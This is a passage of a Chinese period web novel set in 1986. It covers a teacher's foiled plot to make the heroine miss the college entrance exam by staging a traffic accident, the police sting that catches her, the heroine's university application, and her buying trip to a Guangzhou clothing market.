邢艳红之前打听到林珊在市二中考试后，她准备了好几天，打算花些钱让一帮赖子骑着车，趁林珊过来的时候，突然倒地，演上一出交通事故的大戏。其他啥都不用干，也不要钱，就是缠得她错过考试就行。 只要有一门儿成绩毁了，谅她就是有天大的本事也考不上大学！到时候要是真彻底发疯了才好呢！ 林兰这两天电话打得勤，也顾不得人设了，听了邢艳红的计划之后，帮她查漏补缺，“……所以，只要按照步骤来，基本不会出错。不过为了以防万一，我觉得老师您还是得有个后备计划。” 邢艳红却自信得很，“放心，根本不需要什么后备计划，那条路是去二中必须走的，她还能飞过去啊？再说了，那帮人要是拦不住，我就自己出去把人给死死地抱住，拖我也要拖到她迟到为止！” 林兰心里还是有些不放心，但是她不在安河，干什么都方不方便，二哥也去了粤城，那头一个能帮忙的都没有！她知道消息知道的太晚，现去找人去搞那死棒槌也来不及了，只能利用邢艳红这个没什么脑子的傀儡，希望她能老老实实按照她交代的步骤做，千万不要整什么幺蛾子出来！ 七月七号，早上淅沥沥下着小雨。 邢艳红带着早早准备好的街溜子们，埋伏在二中附近的路口等着林珊过来。她早打听好了，今天林珊她妈会骑着三轮车送她过来考试，只要等到那母女俩一现身，她的人就立刻骑着自行车冲出去，跟她们来个迎头相撞，有一个小伙子正好身上有伤，连装都不用装，保准讹得她们娘俩没发法儿脱身。 随着考试入场时间的临近，路上行人也越来越多，邢艳红时刻紧盯着路口的地方，突然，她眼睛一亮，瞧见一个骑着三轮车的妇女朝这边过来。 那妇女虽然穿着雨衣，但是邢艳红还是一眼就认出了赵桂花。以前她教林珊的时候，就跟赵桂花打过不少交道，后来她家包子铺开了之后，那娘们儿又天天在门前晃悠，邢艳红想认不住来都难，更何况赵桂花雨衣帽子盖得浅，一大张脸几乎都露在外头，跟生怕人认不出来她似的。 好，非常好！她车兜里果然坐这个打着伞的姑娘，虽然看不见脸，不过那身形模样，一看就是林珊！ “好！目标来了，全体立刻行动！”邢艳红大手一挥，旁边的四个小伙子立刻骑着自行车蹿了出去，直勾勾朝赵桂花的三轮车撞去。 第70章 第70章 该有多好啊 “咣当”一声响, 两辆自行车和一辆三轮车相撞。 其中一辆自行车上的青年“啊”的一声，倒地不起，抱着胳膊嗷嗷叫, 其他三个人立刻把三轮车团团围住，怒吼：“你怎么骑车的？看把我们给撞的！” “就是！还不赶紧下来看看人！” “啊啊啊——好疼啊！” “滚！”赵桂花车一停, 嗓一开，瞬间宛如河东狮吼, 把那几个无赖的声音给盖住了，“不要脸！老娘车骑得好好的, 你自己直勾勾地撞上来, 还敢说我撞人！讹谁呢这是？！” 为首的青年哼道：“大娘！谁讹人了？没看见我们都流血了吗？！” “没看见！”赵桂花恶狠狠地瞪着青年，骂道：“赶紧起开让路！要是坏了老娘闺女的好事儿, 绝对把你们一个个活剥了！” 四个青年一动不动, 为首的那个心想这妇女还挺泼辣, “大娘，讲点儿道理, 你把我们撞伤了不管, 居然还要活剥我们, 这公安局是你开的啊？” “起开！”赵桂花懒得跟他们废话，直接朝向一个空档硬骑。 四个青年哎呦呦嚎叫，乱得跟杀猪似的，围观的群众基本都看见了事情经过，有那好管事儿的, 站出来劝道：“你们几个从小路拐出来还骑这么快, 怎么能怨人家大姐呢？这大姐可是正常在路上骑着走的，别不讲理啊小伙子。” “大爷，这儿有你什么事儿啊。”一个青年嫌烦。 “诶！”大爷瞬间不乐意了, 怒斥道：“我这是路见不平拔刀相助！你们几个赶紧走！这人来人往的基本都是高考生！你们堵在这儿干什么？耽误了人家，你赔得起吗？！” 为首的青年回呛：“怎么？高考生就比我们这些人高贵啊？人命重要还是高考重要啊？把我们都撞流血了，居然一句话没有就想跑？大爷我劝你少多管闲事儿，提着你的烧饼赶紧回家去！” 大爷还想再说，被身旁的妇女一把薅走了，“走走走，关你什么事儿啊，一天天的就显你了！” 没了爱管事的，为首的青年对赵桂花说：“大娘，我们也不讹你钱，只是想让你陪我们去趟医院检查一下，这总行了吧？” “呸！老娘又没撞你，赶紧起开别耽误事儿！”赵桂花说着继续硬骑，何耐四个青年两个堵前面，两个拉着后车斗，让她只能在原地打转。 “好啊！存心找事儿是吧！”赵桂花冷哼一声，扭头说：“闺女，你赶紧先去考试，老娘留下来会会他们！” 后车斗的闺女听到之后，准备打着伞下车，却被为首的青年一把抓住，“不能走，事儿没说清楚之前谁都不能走！” 赵桂花大怒：“不要脸的狗东西！我闺女撞你了？她凭啥不能拿走？！我看你们就是故意想耽误我们考试！给我把手松开！” 赵桂花从车座上下来，抽出不知道什么时候就藏在雨衣里的剪刀，一边拼命戳着青年的手，一边大叫：“闺女快跑！” 青年们哪想到她还藏着凶器，见状一边躲闪一边抢剪子，后座的闺女趁他们争夺的空挡，飞速从一个缝隙中逃了出去。 一直在旁边偷偷观战的邢艳红见状，赶紧“嘶嘶”两声提醒青年们，可惜赵桂花武力值太强，他们又不敢真伤她，再加上她还一直大喊救命，引得围观群众越来越多，弄得他们非常狼狈，既没有留意到任务目标已经跑了，也没听见邢艳红的提醒。 邢艳红急得不行，一心想着绝对不能让那小贱人去考试！于是，她飞速蹿出小路，用尽浑身力气恶狠狠地朝目标扑了过去。 “想跑！”她从后头一把将人抱住，不管对方再怎么反抗，都牢牢把人锁死，心想再拖一会儿就好，一会儿就好，只要铃声一响，林珊就没法儿去考试了！ 就在邢艳红等着胜利即将到来的时候，突然一阵骚动，不知道从哪窜出来一帮人，嘴里齐刷刷喊着：“不许动！” 邢艳红脑袋“嗡”的一声，意识到坏了！果然，下一秒她就被两个男同志按住铐了起来，为首的那个还骂道：“老实点儿！” 邢艳红一动不敢乱动，嘴上喊着：“公安同志，冤枉啊！我什么都没干你们这是干什么啊？”心里却想着，能拖一会儿是一会儿，只要这小贱蹄子没考成，她就算胜利了！ 王军冷哼一声：“邢艳红啊邢艳红，你看看你现在还有一点儿为人师表的样子吗？” “同志，我什么都没干，你们这是干什么呀。我是刚才看见她跑那么快，以为是小偷，所以才上来帮你们抓人的，我真得什么事儿都没干，你们可不能冤枉好人啊。”邢艳红嘴上不停地装着无辜，心里想的仍然是多骂一会儿才好呢，多教训她一会儿，小贱蹄子就多迟到一会儿。 王军自然知道她什么心思，扶好她扑倒的人，检查了一下身上没伤之后，把人转过来，面向邢艳红。 邢艳红原本还要继续开口装无辜，结果在看清自己扑倒的人后，瞬间哑了嗓子，半天才捯过气儿来，“你——你、你你你！怎么不是林珊！林珊呢？林珊人呢？！人呢？！” 王军一边帮替林红拍着身上的泥水，一边解答邢艳红：“林珊现在已经坐到二中的教室里了，毕竟考试马上就开始了，耽误了高考可不太好，你说是不是？” 邢艳红整个人瞬间暴走，发了疯似的在地上乱扑腾，“假的！假的！小贱人不可能已经到了！她就在这儿！就在这儿！” 王军懒得理她，一声“收队”之后，邢艳红以及她聘请的癞子四人组通通被收押进市局。 这次事件的报案人，其实是城西高中。 邢艳红之前打听林珊高考信息的时候，被她教过的张立志同学发现了。张立志脑袋很聪明，瞬间就意识到情况不对劲，并且立即上报给了学校。 林珊现在是学校的香饽饽，所有人都指望她能一举夺魁，帮城西高中再创辉煌。对她可以说是在重点保护中，每天担心她吃得好不好，睡得好不好，状态怎么样，恨不得能让黄月萍二十四小时监督陪护。 学校一听邢艳红居然在打听林珊的高考信息，立刻高度警觉，想都没想就直接上报了公安。这年头害人不能高考这件事可大可小，要是家里人，他们还真管不了。但是这种明确知道人家是全校的希望，却要故意毁人命运的行为，他们是肯定要管的。 再说这个被迫害的还是王军未来的小姨子，他们都熟悉的林珊，于公于私都必须一查到底。 这不查不知道，一查还真发现这个邢艳红居然花钱找人干这事儿，罪名又多加了一项，王军决定将计就计，让手下钱超负责送林珊去考试，赵桂花和林兰骑上三轮车钓鱼执法，抓捕信号是邢艳红现身。 因为了解这伙人详细的犯罪计划，所以行动非常顺利。 赵桂花站在路边看着这群人一个个被押走，忍不住唾骂道：“活该！一帮坏种！拿刀剐了都不解气！尤其是你！”她恶狠狠地指着邢艳红，要不是被王军拦着，早抓烂她的脸了，“不要脸的毒妇！你就不配做个人！” 如果不是这次的事儿，赵桂花都不知道林珊在学校受过这么多苦，当时她差点儿气晕过去，恨不得立刻杀出去把人给活剥了。 敢欺负她闺女！她赵桂花就是算豁出去这条命也得把人收拾了！ 幸好这是识破了这帮人的阴谋，现在这些畜生也都抓走了，这要是真有个万一，她都不敢想那后果！ 王军安慰了一会儿这心有余悸的母女俩，打算送她们先回家，可俩人非要冒雨等林珊考完，王军也没办法，只好由着她们了。 林珊考得很顺利，题基本都是她见过的。写完检查了一遍后，她就提前交卷了。这年头还没有规定不能提前交卷，所以即使监考老师们很讶异，也只能眼睁睁看着她走出教室。 林珊倒不是故意想展示自己有多行，纯粹是不放心外面的事儿。邢艳红对她本人造成不了伤害，但是她怕抓捕的过程中万一有个意外，赵桂花和林红要是受伤了怎么办。 虽然有王军在她比较安心一些，但既然已经写完了，检查也做完了，就实在没必要在这儿耗着了。 林珊快速朝校门口走去，大老远就看见赵桂花和林红在外头站着了，一个穿着雨衣，一个打着伞，看样子已经没事了。 两人见全校没人出来，就只有林珊一个人，吓得还以为出什么事儿了。 林珊赶紧笑着解释道：“没事儿，我写完就出来了。外头一切都顺利吧？没受伤吧？” “没受伤，非常顺利，人已经全部被抓走了！”林红说。 赵桂花顾不上回答，抓着她问：“什么叫写完就出来了？你没再检查检查？人家都没出来，咋就你出来了？你都会写吗？” 林珊笑着把人往三轮车上引，“都会，你们就放心吧。” 赵桂花还是有些不放心，知道这丫头肯定是担心她们才这么早出来的，她重重叹了口气，拉着林珊说：“孩子，你在里头尽管好好考，啥都没有高考重要，知道吗？外头就是天塌下来也还有你妈顶着呢！” 林珊点点头，“好，我知道了，我一定会考上的，到时候让市里敲锣打鼓来恭喜咱，好不好？” 赵桂花做梦都是这个场景，她到现在对林兰考上大学之后的隆重场面还记忆犹新，以前呸过有什么了不起的，现在一听自己闺女说这个，她瞬间忍不住笑开了花儿。 这要真能敲锣打鼓的来报喜，该有多好啊！ 第71章 第71章 打算去粤城 之后的考试, 赵桂花和林红全程陪考，林珊怎么劝都不听。 九号上午结束所有科目之后，林珊感觉两人看着比她都累, 忍不住笑道：“咱全家都高考了一遍。” 林红乐出声来，赵桂花说：“有下辈子的话, 你妈我说什么也得弄个大学生当当！” 林珊为她鼓掌，“别下辈子啊, 这辈子也不晚。” 赵桂花摆摆手，“这辈子我还是踏踏实实数钱吧, 数钱容易, 心儿里也美。” 姐妹倆都被她逗笑了。 八六年的高考试卷对林珊来说不难，她感觉京大和清大应该都不成问题。赵桂花梦寐以求的场景, 应该有机会实现了。 邢艳红想阻拦她参加高考这件事, 林珊的愤怒更多的是来自于后世的那个自己。千军万马过独木桥, 哪个孩子不是起早贪黑奋战了这么多年，就为了迎接这个改变命运的时刻。尤其是对于她这种无依无靠的“小镇做题家”来说, 高考是唯一改变命运的机会。毁人命运, 跟要人性命有什么区别。 再来一年说得容易, 这其中有多少苦累只有自己知道。她对邢艳红的恨，已 经不知道该怎么表达了，这世界上有些罪，明明没有杀人放火严重，却莫名比那个更可恨。 缺德二字, 已经是最浅的形容了。 高考完后的事情非常多, 林珊每天都要往学校跑，对答案，估分儿, 填志愿。一样接着一样，她语文估分在115分，保守一点算作110，其他科目很幸运得没有发现错误，但是为了保险，她都给自己扣了几分。 这样综合下来，估分525分。由于汉北省试行“3+2”的高考模式，语文和数学是120分，其余科目100分。所以理科总分一共540分值的卷子，她保守估算525分。 整个办公室瞬间沸腾，这分数京大清大妥妥的！老师们喜极而泣，激动地拍手。黄月萍大笑道：“这是保守估计！我感觉绝对比525高！孩子！太棒了！你要报那个学校？！” 林珊其实之前一直在京大和清大之间犹豫，不过后来想既然重活了一回，分数要是够的话，那自然要去计算机最好的地方，“清大吧。” “好！清大！”黄月萍把志愿单递给她，郑重地说：“孩子，一笔一划地写，好好写。” 林珊点点头，在校长和老师们的瞩目下，写下了清大的名字。为了保险起见，她把京大也填在了第二位，并且全都选了“服从调剂”。其他学校就没再填写了。 黄月萍虽然对她很有信心，但仍然怕万一，“孩子，咱把志愿都写满，一共五个，你才填了两个，别浪费。” 林珊见她和其他老师都一脸的紧张，就连校长瞧着也是这个意思，所以听从指挥把后面都填上了。毕竟老师们都为她付出了这么多，让他们多安一些心也是好的。 填完了志愿，校长亲自把志愿表拿走了，并且放话会亲眼看着她的志愿上交入档。 林珊对他们很信任，毕竟除了她家人，没有谁比学校更希望她能顺利考上清大了。 林珊这边报完了志愿，王军那头对邢艳红一行人的处理也出来了。他不仅做实了破坏高考的案子，还另外把邢艳红的前案也翻了出来，揪出了这里头的违法犯罪行为，现在不仅邢艳红要被数罪并罚，她的家人也因此受到了处分。至于那几个小罗罗，则直接被一锅端了。 林珊谢过王军，替林红接管了两天底料工作，让俩人好好约了约会。 林兰在事发当天打不通邢艳红的电话，就知道糟了。后来让她妈刘淑芬去打听了一下，才知道邢艳红他们居然全被抓了！ 她一屁股坐在石台上，连骂人的力气都没了，她想不通，这是什么高深莫测特别有难度的事儿吗？为什么连拦个人都做不好！ 好在她筹划的时候，全部是用电话跟邢艳红联系的，就算对方到时候脑子抽风想推倒自己身上，也没有任何证据。 林兰想不通，那贱人到底命有多大！能够一次又一次地逃过去！现在不但让她参加了高考！而且连志愿都填好了！她要真是像他们说的学习那么好的话，肯定能考到首都来！万一她真狗屎运爆发，上了清大或者京大，那岂不是要永远压自己一头了！ 自己以后能进的单位，她也能进。自己能碰见的人，她也能碰见。甚至！林兰恨得牙痒痒，那死贱人还长成那副模样，不知道到时候要勾引多少人！ 林兰气得手抖，半点儿都冷静不下来。 刚好贺启明考完最后一门过来找她，大老远就看见她一个人坐在广场边的石台上发呆，他立刻笑着冲她挥手：“林兰！” 林兰吓得一激灵，认出贺启明的声音后，在抬头的瞬间，立刻就变了脸，从刚才的一脸愤怒，变成了一朵年轻灿烂的小白花儿，“启明！” 她起身小跑着去迎接他。 对了，她还有贺启明！就算林珊来了首都又能怎么样！就算她认识了其他人又能怎么样？她找的对象能有贺启明厉害？能比他父亲官位高吗？ 林兰也是前一阵才知道贺启明的父亲是什么人的，当时她是又惊喜又惶恐。想过他父亲职位不低，但是没想到居然这么恐怖。而且贺启明肯对她透露这些，说明对她非常信任，两人的关系已经发展到了新的阶段。 相信过不了多久，他就会带着自己回去见家长了。 在这种真正要飞上枝头变凤凰的时刻，她千万不能为了林珊要来读大学的事乱了阵脚。现在必须冷静，只有冷静才能更好得解决问题。 “一个人在这儿干什么呢？不热啊？”贺启明笑着问。 林兰摇摇头，“等你呢，考得怎么样？” 贺启明拉着她阴凉地儿走，得意地说：“还用问吗，这种小题目难不倒我。” 林兰非常配合地露出一脸崇拜的神情，“辛苦了，你中午想吃什么，我请你。” 贺启明字典里没有让对象请客一说，“心意我领了，不过还是我来吧，今天咱不吃食堂，去外头吃！反正也考完了，你也快回老家了，咱下午出去好好逛逛！” 林兰温柔地笑了，满脸都是深深的情谊。贺启明被她看得飘飘然，觉得自己真是棒。 林兰跟着自己英俊帅气家世绝好的对象走在校园里，思绪渐渐稳定了下来，林珊就算考上大学又如何？！就算将来奋斗得特别好又能怎么样？ 只要自己嫁进贺家，想要什么没有？那贱人就算辛辛苦苦熬出头又怎么样，还不是照样分分钟被自己碾压。 哼，说一千道一万，紧紧地抓住贺启明才是关键！之前那贱人很明显还想对启明动心思来着，真是不要脸！要不是启明本身单纯，她又精通御夫术，搞不好还真会被那狐狸精给勾走。 要是有个方法能毁了她那张脸就好了…… 七月七号开始的高考，出分要到月底了，林珊不像赵桂花和学校，天天等着盼着能有消息出来，她还有公司的事儿要忙。省城许家三兄弟尝到了甜头，他们住在城东的亲戚也想开上一家包子铺。赵福前两天已经带着过去了，装修队马上就准备动工。 配料的活儿平时是林红和王芳负责把关，王芳一下去开铺子，就全靠林红一个人了。林珊怕她忙不过来，就把李娜调了过来。 李娜到是挺高兴，她很喜欢跟林红一块儿上班，还能待在公司里跟林珊玩儿，不过她还是经常一有空就回老店陪薛凤琴。 李娜爸妈对她调到公司上班的事儿也很开心，没想到曾经最让他们担心的闺女，居然跟着人家越干越好了！从来没指望这孩子能挣什么钱，没想到现在挣得居然都快赶上他俩的工资了。现在这一片儿，谁不想挤进爱国家去做事儿啊，她家娜娜果然是有大福的！ 安排好家里的一切，林珊算着这才21号，离出分录取的时间还充裕，就准备去一趟她从穿来就心心念念的粤城。正好郭有财两口子要去粤城看他三儿子一家，林珊打算跟他们搭个伴儿。 赵桂花一听粤城就吓得直摇头，之前林珊住院的时候她听郭有财讲那些弯弯道道，对粤城的恐惧已经牢牢刻在心里了，说什么都不准林珊去。 “这马上该出分儿了，你瞎跑什么？还敢跑去那么远的地方！不行不行，说什么都不行！实在是太远了！你郭爷爷没说过那地方黑得很吗？不行！你给我老实在家待着！” 林珊把她拽回椅子上安抚了一会儿，把自己的倒腾衣服大计说了一遍，“……咱过年买的那些呢子大衣，粤城批发市场比那还要高级，真能弄回来，一定大赚。一百多进的，卖三百多瞬间就被人抢光了。还有皮包，人家省城人都开始背皮包了，我当时问了一个大娘，她说她那一个小包就得一百零五。妈，粤城那边拿货的话，价格至少能低一倍多，拿回来咱就是翻番儿啊。要是能把服装做起来，那可比包子挣得多多了。咱家现在实打实、不用动到的存款，才六千多，也就够在安河买个房子，出去根本就不够看的。等我姐跟军哥结婚的时候，咱给她两千，剩下还有什么？咱将来还要买楼房，买汽车，根本不够。” “慢慢儿攒呗，粤城太危险了。”赵桂花还是不放心。 林珊无奈，“我是跟郭爷爷一块儿去的，他家门路多，又常年走南闯北，跟着他你还不放心啊？我不管，粤城我去定了。” 赵桂花终究还是拗不过林珊，再加上郭有财也过来帮着说项，她知道这回去的还有郭有财的侄子，想说四个人应该没什么问题，这才稍微放心一些。 第二天要赶火车，林珊一大早就起来准备，刚洗漱完毕，门突然被敲响了。 她扬声一问，传来的居然是贺正岩的声音。 第72章 第72章 他的心思 “贺大哥！”林珊赶紧跑去开门. 贺正岩前一阵一直在外头出任务, 根本不能写信或者打电话，等回到省城的时候，高考已经过了。 他知道林珊要参加今年的高考, 所以一直在操心这个事儿，一通电话打过来, 王军告诉他林珊考得很好，但是她明天要去粤城了。 贺正岩不放心她一个女同志去那么远的地方, 思考片刻，就直接开车过来了, 他想赶在林珊出发前见见她, 交代几句话。 贺正岩简单解释了一下原因后，林珊一阵感动, “谢谢贺大哥, 我考得还不错。粤城, 我是跟郭有财爷爷一家人一起去的，他家在那边做生意, 路上不会有事儿的。” 贺正岩交给她一张纸, “这上面是我战友他哥的姓名地址和电话, 他是粤城公安局的人，你们万一要是遇到什么决绝不了的困难，可以找他。” “谢谢贺大哥！”林珊感激不尽地收下纸张，不知道还能用什么方法来报答他，“本来说好下回见面, 我要好好招待你的。结果我这马上要出门, 只能先请你吃点家里的早饭了。” 贺正岩想说不用，却被林珊一把按在了院子的椅子上。 夏天的清晨，外面比屋里凉爽, 因此院子里经常会放上一套桌椅，早饭她们一般也都是在院子里吃的。 林珊帮贺正岩倒了杯凉白开，就去厨房做饭了。他这么早从省城赶过来，肯定天不亮就出发了，早饭就算吃了也绝对是糊弄的那种，现在肯定饿。 再加上她今天要出远门，所以这顿早饭必须扎实，她打算一边热包子，一边做肉丝面。骨汤和面条都是现成的，只需要炒点肉丝酱就行。 林珊在厨房忙着，不时透过玻璃看向外头，发现贺正岩正在朝着自己这边看，她本能地冲他笑了一下。跟着也不知道是哪根线突然搭在了一起，她嗡的一下察觉到一些东西。 不对劲。 确实不对劲，即使再关心她，应该也不至于连鸡都还没开始打鸣，他就开着车往这边跑吧。 见他还在看着自己，林珊倏地收回视线，莫名有些慌张。 她忍不住回想起上回在省城遇见他，他们一起吃饭，他送她回来，买票还不要钱，又送她们去火车站…… 而且真仔细回想的话，他好像确实有点不太自然。 林珊的大脑不自觉地串联起很多不起眼的小事，天啊，她心里咯噔一下。 ……他不会是对我有意思吧。 应该是有意思吧？ 不然也不会一大早开车过来送行，交代东西电话里就行，完全没必要跑一趟。 “诶呦！小贺领导来了！”赵桂花的声音，突然从屋内传来。 紧接着等等等，就见她掀开帘子，笑眯眯地出来迎客。 赵桂花刚才还纳闷，珊丫头跟谁在外面说话呢，没想到隔着窗户一看居然是贺正岩！跟后头起来的林红，也同样惊讶无比。 贺正岩起身跟她们打招呼，解释了一下自己来的目的。 赵桂花立刻感激地握住他的手，“谢谢谢谢，真是太感谢了！我就怕她出门在外没个照应，有你认识的人帮衬我就放心多了。” 林兰也感激不尽，帮衬的人越多，出门就越安全。 贺正岩安慰了他们几句，林珊那头就叫着开饭了。 赵桂花本来还说她起来做饭的，结果没想到不但这丫头起这么早，连贺领导都来了。她和林红赶紧去洗了下漱，总不好让客人等。 饭桌上赵桂花滔滔不绝，问贺正岩关于粤城的事。在她的观念里，只要是厉害的人，可能就啥都知道似的。不过贺正岩确实对粤城了解得不少，倒是一一解答了赵桂花的问题。 “真厉害啊粤城，那以后咱其他地方也会像他们那样儿吗？”赵桂花是既羡慕粤城的发展，又有点儿害怕改变现在的生活。前些年被革命怕了，到处都人心惶惶的，这才刚过了几年好日子。 林珊原本一直努力让自己专心干饭，听到赵桂花问这个，她忍不住抬起头看向贺正岩，也想看看他怎么说，瞧瞧他是传统保守派，还是现代发展派。 贺正岩见林珊看着自己，不自觉地清了下喉咙，“深城和粤城都是试验区，意思是那边儿好的东西，咱们要留下来，不好的东西，咱们要改进。安河也好，省城也罢，每个地方都有它自己的特色，除了学习别人的经验教训，更要结合自身发展的特点，这样才能把盘活一个地方。我对试验区有信心，对全面的改革开放更有信心。” 赵桂花点点头，半懂不懂地明白了一些东西，小贺同志都说好，那看来以后的日子会越来越好的。 林珊感受到他看向自己的目光中带着些询问，不由得冲他笑了笑。 说得很好，以后的发展也确实是这样的。虽然路有荆棘，但也真得是腾飞的四十年。贺正岩看着正派保守，思想倒是一点不陈旧。 人真得挺奇怪的，不知道的时候，做什么都挺坦荡，一旦知道了一些东西，就开始别扭了。 她也说不上来什么滋味，有这么一个优秀的青年对自己有那个意思，她心里肯定是高兴的。但是她毕竟不是20岁的，一直生活在这个年代的小姑娘。 她上辈子一心想着挣钱买房，脑子里根本没有那种粉红色泡泡。除了因为从小见惯了社会的残酷和复杂，知道情感靠不住之外，导火索是刚上大学的时候，被一个高富帅学长疯狂追求，就在她被感动到稍微动心的时候，听见那人对朋友说：“谈谈而已，我家里不会让我找一个孤儿的。” 从此她就歇了这方面的心思，只求暴富。人心或许会变，但房子是她的就是她的。 不过后来累噶之后，她也有过那么一丝丝后悔，其实当时谈一下恋爱，体会一下滋味也有没什么大不了的。只不过那时候她还小，像一片小小的浮萍，安全感是唯一的追求。 现在她有了家人，有了朋友，有了事业，还仅仅只有二十岁，享受一段无负担的感情当然没有问题。只是这个年代谈对象的前提，都是以结婚为目的的。她不确定自己想结婚，也不确定自己适合结婚，先不谈夫妻感情，就是婆媳妯娌七大姑八大姨这些，光想想就头疼。 更何况这年代的男同志，也不知道接不接受女强人型的老婆，如果不行那就别自找不痛快了。 林珊思维发散得有些远，导致饭吃得有点儿慢，被赵桂花说了之后，她赶紧加快速度。 贺正岩看着她吃饭的模样，唇角默默上扬，上回在饭馆他就发现了，她吃起饭来给人的感觉是真香，但偏偏她还吃得特别斯文，一小口一小口的，又干净又好看。 不像他们这些大老爷们，吃个饭口大的一不小心能噎死。 林珊感觉到他在看自己，本来想给他个眼神，让他知道自己知道了，别再看了，但是一对上他的视线，她脑子里突然冒出一个想法： 笑起来真好看。 混蛋啊，以前怎么没发现呢！ 别别扭扭地吃完早饭，林珊就差不多该去找郭有财汇合了。贺正岩要坚持要把她送上火车，所以林珊姐妹俩和赵桂花就一块儿坐着他的车去了郭有财家。 郭有财那边也早准备好了，一见贺正岩来，他立刻点点头 ，心想这小子还不错，知道特地赶来送人。 林珊被郭有财这眼神看得尴尬了，挡在俩人中间，不让老头跟贺正岩说话，谁知道他会不会又蹦出什么让人家好好对她的话来。 以前俩人清清白白，那么说很尴尬，现在感觉出点儿那个之后，又变成了另外一种尴尬。 郭有财见林珊这样，还以为她在护着贺正岩，手指了指她，“真是女大不中留啊。” 林珊：“……”什么跟什么啊。 贺正岩在一旁看着，嘴角抑制不住地上扬，他知道郭有财还误会着两人的关系，心想这误会要是能发展成真的该多好。 很快到了出发的时间，郭家人一辆车，林家人坐贺正岩的车，两辆车一前一后地出发前往火车站。 车上，贺正岩不忘最后再交代一下林珊注意事项，“……钱都装好了？” “装好了。”她一共带了两千块钱，现在是86年，市面上流通的是第三套人民币，最大币值是10元，俗称“大团结”。等到明年4月份第四套人民币才会发行，到时候就会有50和100币值的钱。所以林珊这两千块的大团结，带出了后世好几万的架势。 她衣服里鞋里都藏着钱，其他的刚在包里随身携带。他们这次买的都是卧铺票，包厢全是自己人，倒是不用太担心小偷，等到了粤城有郭有财的三儿子郭广发去接，所以只要在上下车的时候多小心一些就行了。 贺正岩听了安排之后，放心不少，开始好奇她带这么多钱买什么去了。 “我准备卖服装。”林珊把倒腾服装的计划说给他听。 贺正岩点点头，“注意安全，就算是认识的人，也得留个心眼儿。” “是。”林珊明白他的意思，知人知面不知心，很多案件都发生在熟人之间。她心里有数，这也是她一开始就接受他那张纸条的原因，多一份保障多一份安全。 这会儿毕竟不是后世，出门不能导航，监控一个没有，一个小姑娘去那种鱼龙混杂的地方，再谨慎都不为过。 一行人很快抵达火车站，郭家人习惯了告别，赵桂花和林红即使再担心，也只能不舍地放行了。 贺正岩看着渐渐走远的火车，朝林珊挥了挥手。 第73章 第73章 批发服装 安河到粤城有一千多公里, 林珊坐得这趟火车要开39个小时才能到。 林珊知道这已经非常幸运了，一趟直达就能到。要知道很多小地方无论去哪儿，都需要倒好几趟车才能到站。 安河市的地理位置是真不错, 虽然小，但是地处要道, 交通枢纽沿线，去哪儿都还挺方便的。 将近四十个小时的卧铺不难熬, 一包厢都是自己人，说说笑笑, 讲些安河和粤城的趣事, 睡一觉很快也就到了。 郭广发在这边儿混得很不错，直接开着两辆车就来接人了。一辆神似桑塔纳的黑色轿车, 一辆蓝色小货车。货车是郭峰开来的。 乍一看见林珊, 他还颇有几分尴尬, 郭有财直接上前就踹了他一脚，“别扭啥啊, 人家有对象！” 郭峰如果刚才只是有些尴尬, 被他这一脚又踹出了个七分, 十足十得尴尬，被晒得黑黢黢的脸庞都泛红了。 林珊主动跟他打了个招呼，为缓解尴尬指着小货车问道：“这什么车啊？看着很能装货。” 郭峰一提这个就来了精神，凑过来小声说：“五十铃的，进口货！那辆——”他指了指黑色的, 被林珊当做桑塔纳的轿车, 小声说：“皇冠，也是进口的！” 林珊惊叹地比了大拇指，牛啊, 这年头就能搞到这种日本车，郭广发家混得如何一目了然啊。 本来以为两辆车已经够震撼了，等他们来到郭家居住的地方，林珊更是吃惊，居然已经住上二层小楼了，虽然位置不在城中心，但是一个外地人能在当地盖起一个面积不小的二层小楼，真得相当牛了。 她不禁更加好奇起郭家是干什么的了。不过人家不提，她当然不会过问。 郭广发的老婆江秀琴把她安顿在二楼一间房内，让她不要客气，就当自己家，还说待会儿吃完午饭，就让郭峰开车带她去批发市场拿货。 林珊有点儿不好意思，毕竟拒绝了郭峰，现在又接受人家一家人的好，多少有些尴尬。她得好好想想怎么回馈人家。她带来的那些安河特产肯定是不够的。以后常来这边做生意，少不了跟人家打交道。 中午饭是郭广发安排的，非常具有粤城特色，林珊简单吃了一些后，帮着江秀琴把碗筷都收拾干净了。 江秀琴忍不住在心里感慨，还是闺女好啊。真是可惜了，这么好的姑娘，听说大学都考完了，不出意外一定能上个好大学，就算人家没对象，她家郭峰八成也配不上人家了。唉，不提儿媳妇，她要是能有个这样的闺女也就满足了。 收拾完没多久，郭峰就带来一个本地小伙子阿强，说是他批发市场门路多，有他带着老板能给便宜，林珊当然求之不得。 粤城的服装批发市场非常大，没有高楼大厦，空地上大棚子一搭，全部都是一个个卖衣服的摊位，到处挤满了乌央乌央的人。 林珊一来就被镇住了，她在后世的时候也是见识过首都动批的，没想到粤城在这个年代就这么夸张。怪不得大家淘金都要来这里。 阿强见林珊惊讶，用不是很标准的普通话对她说：“全国一半以上的服装批发市场，都是从我们这里拿货的。我保准你能拿到最时髦最新鲜的货！” “谢谢阿强哥，谢谢郭峰哥。”林珊感激不尽。 她这次带了两千块钱，抛出路费和日常花销，准备全部都拿成货。夏装带回去只能卖一茬，准备拿少一些，秋冬装要大量进货，一是能卖出价儿来，二来老百姓也更舍得花大价钱买呢子大衣。皮包和皮鞋也要来上一些，丝袜这种即将成为年代爆品的更是必须多拿了。 林珊把想拿的货一说，阿强立刻带着他们在批发市场内开转。 无论夏装还是秋冬装，便宜的推在地上一大摊，三、五块一件，八、九块一件。林珊看了下质量，跟安河市面上流行的差不多，这里几块钱，安河却卖到十几二十了。虽然拿回去利润相当可观，但是她不准备走低档路子。 突然，一批款式简约时髦的连衣裙映入眼帘，林珊忍不住上前摸了摸衣服料子，“老板，这裙子怎么卖？” 老板认识阿强，爽快地说：“既然阿强带来的，就不跟你开价了。批发十一，单买十四。” 他这裙子卖得比别人贵，但是面料和款式一看就不是一个档次的东西，林珊确实想买，于是又试着讲了讲价，“十块一条吧，这几个颜色我无袖和半袖的各要两件。” 老板犹豫了一下，见小姑娘人爽快又长得好，还是阿强介绍来的，于是小声说：“行吧，这个件儿只给你，要有人问，你就说我报的价。” “好嘞，谢谢老板！”林珊把白色、天蓝色和雪青色，三种颜色的两种款式各拿了两件。裙子都是均码的，不分大小号，腰后面有带子，宽松得系一下就行了。这年代几乎没有胖人，基本都能穿进去。 买完裙子后，林珊又在老板的介绍下，来到一个买毛衣的铺子。 这铺子的毛衣质量同样没的说，配色鲜艳却没有半点俗气，比裙子贵两块钱，那毛线和针织工艺，一看就跟其他地方的不一样，拿回安河一定不愁销路，林珊每个颜色都拿了三件。 